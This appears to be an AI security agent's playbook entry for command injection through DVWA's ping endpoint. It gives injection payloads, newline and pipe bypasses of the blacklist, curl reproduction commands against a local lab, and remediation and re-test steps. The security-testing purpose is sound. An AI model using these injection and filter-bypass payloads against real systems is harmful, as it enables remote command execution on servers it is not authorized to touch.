Diagnostic playbook
Command injection via ping endpoint with blacklist bypass
Injection / Command Injection
Knowledge identity
Definition and taxonomy
Summary
User-supplied host/IP is concatenated into a shell ping command. Command separators and shell metacharacters execute arbitrary OS commands, with output returned in the page.
Severity rationale
Demonstrated arbitrary OS command execution as www-data (uid=33) on the authorized local lab: shell_exec('ping -c 4 ' . target). Output of injected commands (id) is reflected in the response. In a real app this is RCE.
Aliases
OS command injection, RCE via ping, shell injection
Standards
CWE-78 CAPEC-88 A03:2021-Injection
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1. First Signal
What should make an agent suspicious
Symptoms
Sending ip=127.0.0.1; id returns ping output plus uid=33(www-data); baseline ping output alone appears without injection; higher levels block some metacharacters but a bypass still runs id.
Prerequisites
Authorized lab session. Endpoint passes input to shell without validation. Command output reflected (or a channel to confirm execution).
2. Recognition Logic
How to recognize this next time
If an endpoint named ping/exec/traceroute echoes raw command output, inject id and look for uid=. If a blacklist removes separators, try newline (%0A), pipe without trailing space, or characters not on the list.
3. Diagnostic Procedure
Safe checks, in order
- Confirm authorized scope. 2. Baseline a real host and note normal ping output. 3. Append ; id, | id, && id, %0Aid and look for uid= in the response. 4. Check which separators a level blocks and pivot to unblocked ones. 5. Use only benign read-only commands (id, whoami). 6. Record negative control: a plain host produces no uid=.
4. Proof
Evidence
DVWA exec: low ip=127.0.0.1; id -> uid=33(www-data); medium ip=127.0.0.1 | id -> uid=33 while ip=127.0.0.1; id blocked; high ip=127.0.0.1%0Aid and ip=127.0.0.1|id -> uid=33 while & blocked.
5. Controls
Negative checks
ip=8.8.8.8 (no injection) produced no uid=; at medium ; was stripped and produced no uid; at high & was stripped and produced no uid.
6. Avoid Bad Memory
False positives and traps
Ping output is not command injection; only the execution of an attacker-supplied second command is proof. Response-time increases alone are not enough. Output-blind injection requires a side channel.
7. Why It Matters
Impact
Arbitrary command execution as the web server user (www-data) - full RCE in a real deployment. In the lab limited to read-only id/whoami execution.
8. Why It Happened
Root cause
shell_exec concatenates user input into a shell command with no input validation. Blacklist filtering (medium/high) is incomplete: newline, pipe without space, and unlisted metacharacters bypass it.
9. Fix
Remediation and prevention
Never pass user input to a shell. Use parameterized system calls or validate against a strict allowlist (IPv4/IPv6/hostname) and reject all metacharacters. Use escapeshellarg/escapeshellcmd as defense-in-depth only. Run the service as least-privilege user.
10. Re-test
Verification steps
- After fix, send ip=127.0.0.1; id and confirm no uid= output. 2. Send newline and pipe variants - all rejected. 3. Confirm a valid host still pings. 4. Add regression tests with metacharacter payloads.
Reference
Tools and sources
Tools used
curl for requests, docker exec for read-only source review
References
OWASP Command Injection Prevention Cheat Sheet; CWE-78; CAPEC-88
Intelligence
Products and history
Technologies
PHP, shell, Apache, ping
Affected products / versions
DVWA (Damn Vulnerable Web Application) current master
History
First documented in DVWA exec module low/medium/high in the 2026-08 benchmark run.
Exploit knowledge
Variants and references
Attack surface
ip parameter concatenated into shell_exec('ping -c 4 ' . $target); command output returned to client
Exploit maturity
proof-of-concept
Known variants
Separator injection (; && || | newline), output-blind command injection (no reflection), OS-dependent payloads (Windows cmd vs /bin/sh), blacklist character bypasses
Defensive signatures
Requests to ping endpoints with shell metacharacters, uid=/whoami/uname/id output appearing in the HTTP response, command-separator characters in the ip parameter
Reproduction commands
Low (no filtering): curl -s -b $JAR -d 'ip=127.0.0.1; id' http://127.0.0.1:4280/vulnerabilities/exec/ Medium (filters && and ;): curl -s -b $JAR -d 'ip=127.0.0.1 | id' http://127.0.0.1:4280/vulnerabilities/exec/ High (blacklist: || & ; |space - $ ( ) `): curl -s -b $JAR -d 'ip=127.0.0.1%0Aid' http://127.0.0.1:4280/vulnerabilities/exec/ # newline bypass curl -s -b $JAR -d 'ip=127.0.0.1|id' http://127.0.0.1:4280/vulnerabilities/exec/ # pipe without space bypass
Exploit references
No external references stored; all evidence from the authorized local lab.
Case provenance